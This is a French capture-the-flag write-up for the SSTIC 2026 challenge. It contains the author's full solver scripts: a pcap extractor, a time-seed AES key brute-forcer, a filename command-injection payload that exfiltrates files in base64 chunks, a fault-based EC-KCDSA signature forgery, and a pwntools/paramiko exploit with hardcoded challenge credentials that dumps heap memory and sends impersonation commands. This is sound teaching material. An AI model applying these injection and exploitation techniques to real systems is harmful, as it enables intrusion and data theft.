# SSTIC 2026

Une fois n'est pas coutume, cette année, j'ai voulu me lancer alors que je n'ai ni le temps, ni le talent. Je m'excuse d'avance pour ce rapport, qui sera plus que léger étant donné qu'à l'heure où je le commence, il me reste 2h pour l'écrire.

Avant d'oublier, je voudrais dire merci aux concepteurs. Le challenge était intéressant et l'étape 3 était particulièrement bien faite. Je déteste les maths et la cryptographie (oui, je me flagelle tous les ans avec le challenge du SSTIC) mais j'ai quand même pris plaisir à la réussir !

Sans plus attendre, les explications.

P.S : comme je suis un gland mal organisé, j'ai potentiellement perdu des flags, alors je m'excuse d'avance s'ils n'y sont pas.
P.S 2 : pardonnez aussi mes souvenirs vagues par moment, j'ai quand même commencé tout ça il y a ~un mois !

## Step 0 : linenoise

Pour être très honnête, je n'en que très peu de souvenirs. Je me rappelle que c'est une capture Wireshark de paquets QUIC. Dans certains paquets, on peut voir que les bytes 0x31 à 0x39 contiennent de l'ASCII. Je pense que j'avais fait un filtre wireshark pour ne voir que certains types de paquets (ceux qui contiennent de l'ASCII) pour me générer une nouvelle trace. À partir de cette trace, j'ai fait un script Python qui utilise `dpkt` pour récupérer les bytes qui m'intéressaient (tout en faisant attention aux doublons) pour récupérer l'ensemble de l'ASCII.
Une fois récupéré, on pouvait constater que c'était un ensemble de scripts Python.

### Script

```python
import dpkt


def extract_payload(pcap_path):
    payloads = {}
    last = ""

    with open(pcap_path, "rb") as f:
        pcap = dpkt.pcapng.Reader(f)
        for i, (_, buf) in enumerate(pcap, start=1):
            if len(buf) >= 57:
                target_bytes = buf[0x31:0x39]
                ascii_str = target_bytes.decode("ascii", errors="ignore")
                if ascii_str == last:
                    continue
                last = ascii_str
                ip_offset = buf[:0x20].find(b"\x45")
                if ip_offset != -1:
                    try:
                        ip = dpkt.ip.IP(buf[ip_offset:])
                        payloads[i] = ascii_str
                    except Exception:
                        pass

    sorted_keys = sorted(payloads.keys())
    final_output = "".join([payloads[pid] for pid in sorted_keys])

    print(final_output)


if __name__ == "__main__":
    capture_file = "kp0.pcapng"
    extract_payload(capture_file)
```

### Flag

`SSTIC{de89bf301aa2ef9f9a61486d26c7b81424bcf5b838f98dde}`


## Step 1 : vibe malwaring

Si je me souviens bien, le but était de retrouver l'URL du CNC. Après avoir réparé et analysé un peu les différents fichiers, on se rend compte assez rapidement que la clé de session est générée avec un aléa non cryptographie, basé sur `time()`. En limitant la fenêtre de temps, il devrait donc être possible de brute forcer la graine afin de récupérer la clé de session et déchiffrer la configuration (qui se trouve en base64 dans la trace).

Seulement, ce problème ne suffirait pas à savoir si la clé est la bonne ou pas. Heureusement pour nous, le chiffrement utilise le padding PKCS7, qui nous permet d'avoir un oracle et de savoir quand notre déchiffrement a fonctionné.

Le plan est simple : on décode notre blob encodé en base64, le 16 premiers octets sont l'IV et le reste la donnée chiffrée. Ensuite, pour chaque seconde dans notre fenêtre de temps, on créé une clé de session avec une seed basée sur le timestamp puis on essaie de déchiffrer le block et de supprimer le padding. Si nous n'avons pas d'erreur alors nous avons trouvé la bonne clé.

### Le script

```python
import base64
from random import Random
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.padding import PKCS7


def solve():
    # paylaod from packets
    payload_b64 = "ee7Ipf2xnVstQiQPOG4AoUTKk6LszMh8XyOj9yymGCvXqpw9zeOde2yrHdU0xNJsf5bkPtpYTHQUKku/BIUr1aEFM16zoig3TLhaw4CUbjWyxafbI0BCls2EXc6eTRaatILOtVwIiANRi4pCOb9y/+UjA6FzgYaDLz9zVWfYX4oIgqJKYSpOT8S+uLhvLE0h1WOdLpqq80XN5Tcq2DuOIgfPukwc7iurdajn63bR7Ae6M5Hwm+I24wCwlCPT5Ewm6pzAnpJZ99OafK+tYJFJF7xVm0TSg1IyJswoSXGxTWGIicistyx57Nxr+EN85SDlX3lzHESA6gWtkls/IJkF55JCKUcSSokNOoYjCQxhlkahVAfv6hz3f/IhX1FRoMGF0UtELuLuchXQy7BOL9j5+XbLRHqwXZV59L/Mp2wPHfGfTNafBNFP6b3Rz+08usi1oPTePz4FEGzPglQnd7N08OAjZEPCD6nLkAvyPnKYGN4aROF7Z++Emb0SRXFXFLUFz3nogWx9sn3Sp68WXpxsCvF4s1CxTsN4swRsIom84Zs7D3Pb9oTFLhWSjf26KZS+0qGeDOnX16M0rZmPmxNnFg=="
    data = base64.b64decode(payload_b64)

    iv = data[:16]
    encrypted_data = data[16:]

    # we search one day before the capture and one day after
    WINDOW_START = 1771542009 - (3600 * 24)
    WINDOW_END = 1771542009 + (3600 * 24)

    for t in range(WINDOW_START, WINDOW_END):
        # recreate the key
        rand = Random(t)
        session_key = rand.randbytes(32)

        cipher = Cipher(algorithms.AES(session_key), modes.CBC(iv), default_backend())
        decryptor = cipher.decryptor()

        try:
            cleartext = decryptor.update(encrypted_data) + decryptor.finalize()
            # if the padding is wrong either unpad or decode will fail
            unpadder = PKCS7(128).unpadder()
            unpadded = unpadder.update(cleartext) + unpadder.finalize()
            unpadded.decode("utf-8")

            if unpadded:
                print(f"Seed: {t}")
                print(f"Key: {session_key.hex()}")
                print(unpadded.decode("utf-8"))
                return

        except ValueError:
            # incorrect key
            pass


if __name__ == "__main__":
    solve()
```

### Le flag

Maintenant, pour avoir le flag, il nous suffit de rejouer le DGA. 
```
FILER rotated to 51.15.164.185:80/51.15.164.185/aoxgulmpgdvaagnd (base url: http://51.15.164.185/aoxgulmpgdvaagnd)
```

Sur le site nous obtiendrons le flag `SSTIC{c8abe2747c3f4a75d4d01ed5e3f9f3ebceae4cb4995ebddccdf41cdf7a42807d}`.


## Step 2 : a core lock

Dorénavant, tout se jouera à http://51.15.164.185/step/5bc47fb5b3fb831ee96884387fd16871. Après avoir fait un backup du CNC (non pas que j'ai peur de perdre l'URL hein), on se rend à l'adresse du nouveau challenge et, pour une fois... on lit !

On a donc accès à un système accessible par SFTP qui s'appelle "diode_src". Cette diode communique avec une autre diode, "diode_dest", qui est un système d'armement. Aegis a perdu le contrôle des deux systèmes et nous demande gentiment de reprendre la main pour eux. Pour cela, nous avons accès à un _core_ file. 

### Fonctionnement de diode_src

Après avoir fait le tour du propriétaire, on comprend que diode_src traite toutes les "archives" qui sont ajoutées au dossier `/in`. Ces archives ont le format suivant :

```
Header  : [pkg_offset:u64][decompressed_len:u64][sig_offset:u64][secret_offset:u64]
Tags    : Vec<u8>
packages: lzo1x([MCRY][count:u8][Vec<[AKNG][size:u32][type:u32][data:Vec<u8>]>])
```

À cela, on ajoutera qu'il y a 8 bytes non utilisés et un `crc64` avec le polynome `0xC96C5795_D7870F42` qui seront insérés avant le header.
Parmis les tags, on constate que certains sont utiles :
- `ARCHIVE` qui permet d'archiver fichier dans `/archive`
- `DEBUG` qui permet d'activer des informations de debug au fichier de log qui sera ajouté à `/log`
- `_SHA256` qui exécute la commande `sha256sum %s` avec le chemin vers l'archive si `DEBUG` est activé

Dans l'odre, voici ce qu'il se passe pour traiter une archive :

- vérification du CRC
- parse (on vérifie que les pointeurs sont correctes notamment et on active le debug si `DEBUG` est dans les tags)
- décompression des packages avec lzo1x sans header
- on vérifie les packages : header correct, type valide
- on calcule le sha si nécessaire
- on archive le fichier si nécessaire
- on vérifie que le secret est correct (qui est le flag de ce step)
- on transfert l'archive à diode_dest


### Exploitation

Après avoir cherché pendant très longtemps une corruption mémoire puisque mon cerveau pense `core == overflow`, j'ai finit par me résigner et revoir ma stratégie.
Il y a deux aspects intéressants :
- le sha256 : à quoi sert-il si ce n'est à nous aider ?
- `inotify` est utilisé pour savoir quand un fichier est ajouté `/in` et AUCUN filtre dans le nom du fichier

Grâce à ça, nous avons donc acces à une bête injection de commande. Ou en tout cas, c'est ce qu'on pense ! `sftp` étant ce qu'il est, nous n'avons pas le droit à tous les caractères voulu pour pouvoir fuiter n'importe quel fichier facilement. 

Obtenir le flag est assez facile, `grep -r SSTIC`. 
Obtenir les fichiers est un peu plus compliqué s'ils sont petits, ils peuvent tenir dans le buffer de sortie, mais s'ils sont trop gros, ce ne sera pas le cas. J'ai donc choisi de fuiter par chunk de 500 caractères (en utilisant `tail`) encodés en `base64`. Exemple pour fuiter `pown_key.sa` : `sha256sum data/in/t.sa;cd data && cd archive && tail -c +1 pown_key.sa | head -c 500 | base64`.
Un p'tit coup de bash et on obtient tous nos fichiers et le flag `SSTIC{fa0405ed24364461327146760b57051767a19a36d944335ae4449615ca60ddd7}`.


## Step 3 : overflowing faults

Nous voici dans ma partie détestée habituellement mais préférée cette année, la cryptographie !
Notre but sera de réussir à générer des signatures valide pour nos archives sans avoir la clé. Pour cela, vous nous fournissez plusieurs choses :

- un docker (que je n'ai jamais réussi à exécuter sur ma machine, M1) qui peut nous permettre de tester la signature de nos archives
- des fichiers SageMaths qui simulent ce que fait le serveur
- les sources modifiées de libecc
- 3 papiers pour nous orienter sur l'attaque à effectuer.

### Description de l'épreuve

Après avoir lu le premier papier et regardé les sources sage, on comprend que l'on va devoir attaquer la signature en provoquant une faute. 
En effet, l'algorithme du challenge utilise la formule de Marc Joye pour calculer l'addition et la multiplication des points. À l'origine, cette formule était sensée protéger les courbes elliptiques des attaques en faute en faisant en empêchant un attaquant de distinguer l'addition de la multiplication. Cependant, la formule proposée est elle aussi vulnérable (papier 2) aux attaques en faute car elle n'utilise jamais `y` et se contente de le "retrouver" (désolé si j'éccorche des choses et je dis des âneries : c'est vraiment pas du tout mon domaine, j'ai déjà oublié la moitié des trucs et j'ai plus l'teeeeemps).

L'attaque se base sur le fait qu'il est possible de fauter soit le `x` soit le `y` de la clé publique afin de faire attérir un point sur le "twist de la courbe", qui lui, contrairement à la courbe, peut avoir un ordre faible et permettre de résoudre le logarithme discret s'il a été mal choisi. Le principe de base de l'attaque est donc relativement "simple" :

1. trouver le twist,
2. calculer son ordre
3. le factoriser
4. si tous les facteurs sont "petits" (j'ai choisi `2^50`), alors il est "smooth"
5. on peut donc fauter les bits de `x`
6. si le nouveau point n'est pas une racine, il est sur le twist et nous avons donc notre candidat.

```python
n_E = E.order()

Etw = E.quadratic_twist()
n_tw = Etw.order()
factors_tw = factor(n_tw)
assert max([n for n, _ in factors_tw]) <= 2**50

# okay so now we know the twist's order is smooth, it means it is possible to use Pohlig-Hellman to solve DLP
# so now we fault the first byte of x
X_orig = int(PUB[0])
candidates = []
for xor_val in range(1, 256):
    candidate = X_orig.__xor__(xor_val << 0)
    # if it's greater than p, it cannot be on the curve/twist, skip
    if candidate >= p:
        continue
    
    y = K(candidate)^3 + a*K(candidate) + b
    # if it's not a square, it's definitely on the twist
    if y != 0 and not y.is_square():
        candidates.append(K(candidate))
print(candidates[0])

```

Comprendre la suite mais pris ~6 jours et je vais la résumer en 3mn, désolé. Dans le cas du challenge, c'est EC-KCDSA qui a été choisi. Il faut donc que l'on inverse les operations.


### Forger un signature


Maintenant faut que nous calculions notre propre clé publique, avec notre `x'`. Pour cela, nous calculons d'abord le _delta_ entre notre clé, et la clé d'origine. Ensuite, nous recréons la clé puis nous calculons à nouveau son ordre, mais avec un delta correcte pour notre `x'`.

```python
xP = candidates[0]

# the twist we obtained was from Sage, with its own `delta`
# but we want it for our faulted `x` so that `delta` will be invalid!
# we need to compute the real one and recreate the twist from it
delta = (xP^3 + a*xP + b) / pub[1]^2
assert not delta.is_square(), "delta is not on the twist"

Etw = EllipticCurve(K, [a*delta^2, b*delta^3])
n_tw = Etw.order()
assert 111559192104534069353760890008511275244850969430123083122289260340585038297653 == n_tw
# this is our new "public key" for the twist
# this is what we will use to solve the DLP later
P_tw = Etw(delta * xP, delta^2 * pub[1])
ord_P = P_tw.order()
```

Maintenant est venu le moment d'inverser les opérations utilisées pour la signature EC-KCDSA :

1. nous fixons un point `W`
2. nous calculons son hash pour obtenir `r`
3. nous calculons `h` pour notre `x'` et notre message
4. nous calculons `e`
5. nous calculons `s`
6. ensuite, nous applicons la formule donnée dans le papier TCHES pour obtenir une équation de degrés 6
7. nous calculons ses racines : si au moins une est sur le twist, on continue, sinon, on recommence à 1
8. pour chaque racine, nous calculons notre `y'`
9. nous générons un point `Q` à partir de notre `x'` et notre `y'`
10. nous résolvons le logarithme discret pour `+Q` et `-Q`
11. nous prenons un café, allons dormir, mangeons, ..., et si tout va bien, nous avons généré une signature valide !


```python
from sage.parallel.decorate import parallel

@parallel(ncpus=8)
def solve_dlp(P_tw, ord_P, Q_try, root_sign, r, e, xW):
    start_time = time.time()
    try:
        s = discrete_log(Q_try, P_tw, ord_P, operation='+', algorithm='rho')
        end_time = time.time()
        pub_tw = (xP, pub[1])
        sign = (Integer(r), Integer(s))
        if ECKCDSA_VERIF(E, UNPACK_WIN(E, COMP_WIN), p, to_sign, pub_tw, sign):
            print("Fouuuuuuuuuuuuuuuund")
            print(f"  r = {hex(int(r))}")
            print(f"  s = {hex(int(s))}")
        return ('ok', int(s), end_time - start_time)
    except Exception as ex:
        end_time = time.time()
        return ('fail', str(ex), end_time - start_time)

xP = candidates[0]

# the twist we obtained was from Sage, with its own `delta`
# but we want it for our faulted `x` so that `delta` will be invalid!
# we need to compute the real one and recreate the twist from it
delta = (xP^3 + a*xP + b) / pub[1]^2
assert not delta.is_square(), "delta is not on the twist"

Etw = EllipticCurve(K, [a*delta^2, b*delta^3])
n_tw = Etw.order()
assert 111559192104534069353760890008511275244850969430123083122289260340585038297653 == n_tw
# this is our new "public key" for the twist
# this is what we will use to solve the DLP later
P_tw = Etw(delta * xP, delta^2 * pub[1])
ord_P = P_tw.order()

jobs = []
for attempt in range(10):
    # we chose a random W from which we can derive r
    W = Etw.random_point()
    r = hash(W[0])
    
    # now, we compute h for our x' and y'
    h = hash(xP, pub[1], message)
    # new that we have r and h, we can compute e
    e = mod(r.__xor__(h), n_E)
    
    # now we're at `F 6. Compute W' = sY + eG, where Y is the public key`
    # however, we do not have an explicit G, instead, we have EXP_WIN that computes `eG`
    # to recover G, we can get it from the sliding window
    # in the script, eG = S
    S = EXP_WIN(E, UNPACK_WIN(E, COMP_WIN), e)
    # now we need to find sY, which corresponds to XZ_EXP
    # TCHES paper gives us the 6th degree equation for the "normal" case
    # but we are using Joyce's formula, so we need to take `d` into account
    # as it is a property of our faulted yP (X = s * Pub in the script)
    # and that's where we say FUCK MATHS, MATHS BAD FOR HEALTH, MATHS KILL BABIES
    # we can't just invert W_aff = point_add(S, X, a, p) to get X because at that point
    # X is literally (xR0, yR0), which are computed from the faulted x' in our case
    # so we definitely need a way to get those FUCKING VALUES! FUCK MATHS
    
    R_xR0 = PolynomialRing(K, 'xR0')
    xR0 = R_xR0.gen()
    xS, yS = K(S[0]), K(S[1])
    xW, yW = K(W[0]), K(W[1])
    cubic = xR0^3 + a*xR0 + b
    inner = cubic*delta + yS^2 - (xW + xS + xR0) * (xR0 - xS)^2
    poly  = inner^2 - 4 * yS^2 * cubic * delta
    roots = poly.roots(multiplicities=False)     
    n_on_twist = 0
    for root in roots:
        rhs_r = root^3 + a*root + b
        if rhs_r == 0: 
            continue
        on_twist = not rhs_r.is_square()
        if on_twist:
            n_on_twist += 1

    if n_on_twist == 0:
        continue

    for root in roots:
        # now our root should be on the original curve if we did not mess up
        # so we need to use delta to compute the corresponding X on the twist
        X_tw = delta * root
        # once we have our X, we can have our Y
        Y_tw_sq = X_tw^3 + (a*delta^2)*X_tw + (b*delta^3)
        # Y should be on the twist so if it's square, we f'd up
        if not Y_tw_sq.is_square():
            continue
        Y_tw = Y_tw_sq.sqrt()

        # now we want to create a point Q on the twist to solve the DLP
        try:
            # if either X or Y are not on the twist, this will generate an exception
            Q_tw = Etw(X_tw, Y_tw)
        except:
            continue
        jobs.append((P_tw, ord_P, Q_tw, "+", r, e, xW))
        jobs.append((P_tw, ord_P, -Q_tw, "-", r, e, xW))
    break

print(f"{len(jobs)} to do! let's go")
results = list(solve_dlp(jobs))
```

Je viens de me rendre compte que j'ai oublié de parler de `a` et `b` mais pour les obtenir on fait une bête équation avec les points précalculés pour la fenêtre de montgomery.


### Reproduire l'attaque sur le serveur


Maintenant que nous savons forger une signature en local, il nous faut reproduire l'attaque sur le serveur. En regardant le fonctionnement du binaire lobster256, on s'aperçoit qu'il y'a une fonction appelée qui n'est pas dans les sources : `base64_decode`. Celle-ci est vulnérable à un off-by-two et nous permet d'écrire deux bytes au-délà de notre buffer. Il se trouve que juste après, c'est la clé publique ! Ça tombe bien ! On peut donc fauter le byte de poids faible de la clé, comme ce que nous avons fait dans notre script (en réalité, j'ai pas fait dans cet ordre mais bon, c'est mieux pour l'histoire, et puis, j'aurais honte d'avouer que ça m'a pris beaucoup trop longtemps à trouver).

Ni une ni deux, en quelques secondes, on calcule donc la signature pour une archive qui contient le blob `UTILS_GET_FLAG_STEP3` grâce à un script Python de haute volée : 
```python
import subprocess
import sys

sign = (0x41d72a4fad8a7a106e075b7bd17dba2e47838846ef746781c836d15539c2274c, 0x498388c818c8d0eafdda8d2c30f26585f674bfce44667ff381024ce646e66772)
cmd = [
    "colima", "ssh", "--",
    "./lobster256", "verify",
    "../pkg",
    "lobster_ignition.bin",
    "lobster_public_key.bin",
    "update_key.bin",
]
open("update_key.bin", "wb").write(base64.b64encode(sign[0].to_bytes(32, "big") + sign[1].to_bytes(32, "big") + b"\x02" + (172).to_bytes(1)))
result = subprocess.run(cmd, capture_output=True, text=True)
output = result.stdout + result.stderr
print(i, output, end="" if output.endswith("\n") else "\n")

if "OK" in output:
    print("Found OK, stopping.")
```

Je sais, ce n'est pas pour le bon package, mais j'ai fait ça dans un shell et j'ai perdu/la flemme de remonter l'historique. Mais l'idée était la même.

En faisant cela, on obtient donc le flag `SSTIC{5579a85b0f2e9f87d6a4696b951d0dfcc6f2908e219a756e43e0b2e32112b397` (et aussi `SSTIC{94a19b2019010c12bc842074e0af93c0ba3a5be773ae7043fe891bbb408a261b` pour le step 3.1).

Désolé, c'était expéditif, il est 23:50. J'ai encore le step 4.

## Step 4

Blablabla stack overflow dans le calcule du "crc" blablabla on peut donc réécrire les registres `R12, R13, R14, R15, RBX, RBP, RIP`. C'est donc tout bon ? Non, le twist c'est qu'on ne peut pas sauter où l'on veut à cause du superviseur qui vérifie que l'adresse de retour fait partie des adresses appelantes. Donc dans le cas de `fn1 -> fn2 -> fn3`, on ne peut retourner que dans `fn1` et `fn2`, pas dans `fn4` par example, qui ne fait pas partie des frames précédentes.
Okay, je balance l'exploit (fonction `part0`), désolé, il est 23h54.

```python
import re
from pwnlib.tubes.process import process
from pwnlib.term.readline import str_input
from typing import List
from pwn import log
import time
import traceback
import asyncio
import click
import lzo
from pwnlib.context import context
from pwnlib.tubes.ssh import ssh
import paramiko
from pathlib import Path
import archive
import exploit
import subprocess

import asyncvnc
from PIL import Image


pattern_16 = re.compile(rb"([A-F0-9]{2} ?\-? ?){16}\n", flags=re.MULTILINE)
pattern_8 = re.compile(rb"([A-F0-9]{2} ?\-? ?){8}\n", flags=re.MULTILINE)


class _DrainingWriter:
    """Wraps a StreamWriter so every write() schedules a drain.

    asyncvnc never awaits drain() during its RFB handshake; this server
    closes the connection if writes aren't actually flushed.
    """

    def __init__(self, writer):
        self._w = writer
        self._tasks: set[asyncio.Task] = set()

    def write(self, data):
        self._w.write(data)
        t = asyncio.create_task(self._w.drain())
        self._tasks.add(t)
        t.add_done_callback(self._tasks.discard)

    def __getattr__(self, name):
        return getattr(self._w, name)


async def _draining_opener(host: str, port: int):
    reader, writer = await asyncio.open_connection(host, port)
    return reader, _DrainingWriter(writer)


async def _vnc_screenshot(host: str, port: int, output: Path) -> None:
    async with asyncvnc.connect(host, port, opener=_draining_opener) as client:
        pixels = await client.screenshot()
    Image.fromarray(pixels).save(output)


def take_screenshot(
    host: str,
    port: int,
    *,
    output: str | Path = "screenshots/screenshot.png",
) -> Path:
    out = Path(output)
    try:
        asyncio.run(_vnc_screenshot(host, port, out))
    except BaseException:
        traceback.print_exc()
        raise
    return out


def sign(f: str):
    subprocess.run(
        [
            "colima",
            "ssh",
            "--",
            "./lobster256",
            "sign",
            f,
            "lobster_ignition.bin",
            "priv.key",
            f"sig_{f}",
        ],
        check=True,
    )


def create_archive(
    f: str,
    entries: List[archive.PkgEntry],
    tags=["Sivi-Ha-Kerez", "DIGOLL", "ARCHIVE", "SSTIC2026"],
):
    blobs = archive.DecompressedPkgs(entries).pack()
    decompressed_size = len(blobs)
    compressed_blobs = lzo.compress(blobs, 1, False)
    Path(f"{f}.bin").write_bytes(compressed_blobs)
    sign(f"{f}.bin")
    archive.make_archive(
        Path(f"./{f}.sa"),
        tags,
        Path(f"sig_{f}.bin"),
        b"SSTIC{fa0405ed24364461327146760b57051767a19a36d944335ae4449615ca60ddd7}",
        compressed_blobs,
        decompressed_size,
    )
    log.debug("Archive created %s" % archive.read_archive(Path(f"./{f}.sa"), False))


if False:
    data = archive.read_archive(Path("./get-flag-step3.sa"), True)
    raw = Path("./pkg").read_bytes()
    raw = lzo.decompress(raw, False, data.header.decompressed_len)
    archive.make_archive(
        Path("verify"),
        ["DEBUG", "RELEASE", "GET-FLAG", "ARCHIVE", "SSTIC2026"],
        Path(
            "/Users/gxkz/Documents/ctf/sstic/2026/step3/test/crypto.michel/260217_projet_lobster/LOBSTER_ECC/bin/sig_get_flag_step3"
        ),
        b"SSTIC{fa0405ed24364461327146760b57051767a19a36d944335ae4449615ca60ddd7}\x0a",
        data.cpkgs,
        data.header.decompressed_len,
    )
    assert open("./verify", "rb").read() == open("./get-flag-step3.sa", "rb").read()

    print(Path("./blob_update_key.bin").read_bytes())
    data = archive.read_archive(Path("./prod_maj_key_origin.sa"), True)
    raw = Path("./pkg").read_bytes()
    # 8 bytes start padding + 8 bytes CRC (both ignored on read here)
    raw = lzo.decompress(raw, False, data.header.decompressed_len)
    archive.make_archive(
        Path("update_key.sa"),
        ["RELEASE", "SETUP_KEY", "ARCHIVE", "SSTIC2026"],
        Path("./sig_update_key.bin"),
        b"SSTIC{fa0405ed24364461327146760b57051767a19a36d944335ae4449615ca60ddd7}",
        data.cpkgs,
        data.header.decompressed_len,
    )

    create_archive("open_session", archive.PkgType.WEAPON_OPEN_SESSION)
    create_archive("clear_screen", archive.PkgType.UTILS_CLEAR_SCREEN)


def get_db_data(addr):
    time.sleep(2)
    with subprocess.Popen(
        [
            "vncdotool",
            "-s",
            "51.15.164.185::30221",
            "capture",
            f"screenshots/0x{addr:x}.png",
        ],
    ) as p:
        p.wait()

    with subprocess.Popen(
        ["./ocr.swift", f"./screenshots/0x{addr:x}.png"],
        stdout=subprocess.PIPE,
    ) as p:
        stdout, _ = p.communicate()

    end = stdout.index(b"successfuly") + len(b"successfuly")
    out = stdout[:end]
    leak = b""
    matches = pattern_16.finditer(out)
    for i, m in enumerate(matches):
        h = m.group(0).replace(b"-", b"").replace(b" ", b"")
        h = bytes.fromhex(h.decode())
        if i == 0:
            h = h[8:]
        leak += h
    matches = pattern_8.finditer(out)
    for m in matches:
        h = m.group(0).replace(b"-", b"").replace(b" ", b"")
        h = bytes.fromhex(h.decode())
        leak += h
    with open("database.bin", "ab") as db:
        db.write(leak)


def part2(sftp):
    # db_heap = str_input("db heap hex bytes: ")
    # db_heap = bytes.fromhex(db_heap)
    # db_heap = int.from_bytes(db_heap, "little")
    # log.info("db heap 0x%x", db_heap)
    db_heap_start = 0x55B3CF38A4B0
    db_heap_end = 0x55B3CF38A4B0 + 0xFC00
    for db_heap in range(db_heap_start, db_heap_end, 0x100):
        log.info(f"Dumping 0x{db_heap:x}")
        fake_obj = b"\x00" * 5
        fake_obj += db_heap.to_bytes(8, "little")
        fake_obj += (0x100).to_bytes(8, "little")
        fake_obj += b"\x05"

        sftp.put("./clear_screen.sa", "/in/clear_screen.sa", confirm=False)
        entries = [archive.PkgEntry(archive.PkgType.WEAPON_OPEN_SESSION)]
        data = exploit.auth(b"SSTIC_USER", b"DefaultPassword", fake_obj=fake_obj)
        log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
        entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

        data = exploit.version(True)
        log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
        entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))
        create_archive(f"0x{db_heap:x}", entries)

        sftp.put(f"./0x{db_heap:x}.sa", "/in/client2.sa", confirm=False)
        get_db_data(db_heap)


def part1(sftp):
    # saved_rip = str_input("saved rip hex bytes: ")
    # saved_rip = bytes.fromhex(saved_rip)
    # saved_rip = int.from_bytes(saved_rip, "little")
    # base = saved_rip - 0x219D
    # base_bss = base + 0x1000 + 0x3000 + 0x1000 + 0x1000
    # db_bss = base_bss + 0x0168
    # log.info("saved rip 0x%x", saved_rip)
    # log.info("db bss 0x%x", db_bss)
    db_bss = 0x55B39D8B6168

    fake_obj = b"\x00" * 5
    fake_obj += db_bss.to_bytes(8, "little")
    fake_obj += (8).to_bytes(8, "little")
    fake_obj += b"\x05"

    sftp.put("./clear_screen.sa", "/in/clear_screen.sa", confirm=False)
    entries = [archive.PkgEntry(archive.PkgType.WEAPON_OPEN_SESSION)]
    data = exploit.auth(b"SSTIC_USER", b"DefaultPassword", fake_obj=fake_obj)
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.version(True)
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))
    create_archive("client1", entries)

    sftp.put("./client1.sa", "/in/client1.sa", confirm=False)
    part2(sftp)


def part0(sftp):
    sftp.put("./clear_screen.sa", "/in/clear_screen.sa", confirm=False)
    entries = [archive.PkgEntry(archive.PkgType.WEAPON_OPEN_SESSION)]
    data = exploit.auth(b"SSTIC_USER", b"DefaultPassword")
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    # data = exploit.version()
    # # log.info("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    # entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.get_target(True)
    # log.info("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))
    create_archive("client0", entries)

    sftp.put("./client0.sa", "/in/client0.sa", confirm=False)
    part1(sftp)


def disarm(sftp):
    sftp.put("./clear_screen.sa", "/in/clear_screen.sa", confirm=False)

    entries = [archive.PkgEntry(archive.PkgType.WEAPON_OPEN_SESSION)]
    data = exploit.auth(b"SSTIC_USER", b"DefaultPassword")
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.impersonate(b"Marvin_Thomas_BOHkZtJnLGdqHgtv")
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.impersonate(b"Dalton_Zook_eWkgWqXCAWlxpwFu")
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.impersonate(b"Andres_Carpenter_mOmguqWWFxMkkRqO")
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.impersonate(b"audit_KaKaHuet")
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    data = exploit.disarm()
    log.debug("Packet being sent %s" % exploit.Packet.parse(data[4:]))
    entries.append(archive.PkgEntry(archive.PkgType.WEAPON_MSG, data=data[4:]))

    Path("disarm.sa").unlink()
    create_archive("disarm", entries)

    sftp.put("./disarm.sa", "/in/disarm.sa", confirm=False)


@click.command()
@click.option("--port", type=int, help="Target port")
@click.option("--vnc-port", type=int, help="Target vnc port")
@click.option(
    "--log-level",
    default="info",
    show_default=True,
    type=click.Choice(["debug", "info", "warning", "error"]),
)
def main(port: int, vnc_port: int, log_level: str) -> None:
    context.log_level = log_level
    transport = paramiko.Transport(("51.15.164.185", port))
    transport.connect(
        username="diode_client", password="{Thisp@ssw0rdShouldN0tB3GUESSED}"
    )

    sftp = paramiko.SFTPClient.from_transport(transport)

    sftp.put("./update_key.sa", "/in/update_key.sa", confirm=False)
    disarm(sftp)
    # part0(sftp)
    sftp.close()
    transport.close()


if __name__ == "__main__":
    main()
```

Y'a aussi l'exploit pour la partie suivante (fonction `disarm`) pour désarmer l'armement. Pour l'OCR j'ai utilisé un mix de Apple Vision Framework, Tesseract et à la main pour corriger ce qui n'allait pas. C'était long, fastidieux et c'est ce qui me vaut d'être aussi en retard (et la maladie de mes enfants mais parait qu'on n'a pas le droit de les accuser de nos tords !). J'ai plus le temps pour les flags, sorry.

Voilà, merci, c'était cool, encore désolé pour ce WU tout pourri et j'espère qu'il ne manque rien pour valider ma soumission.
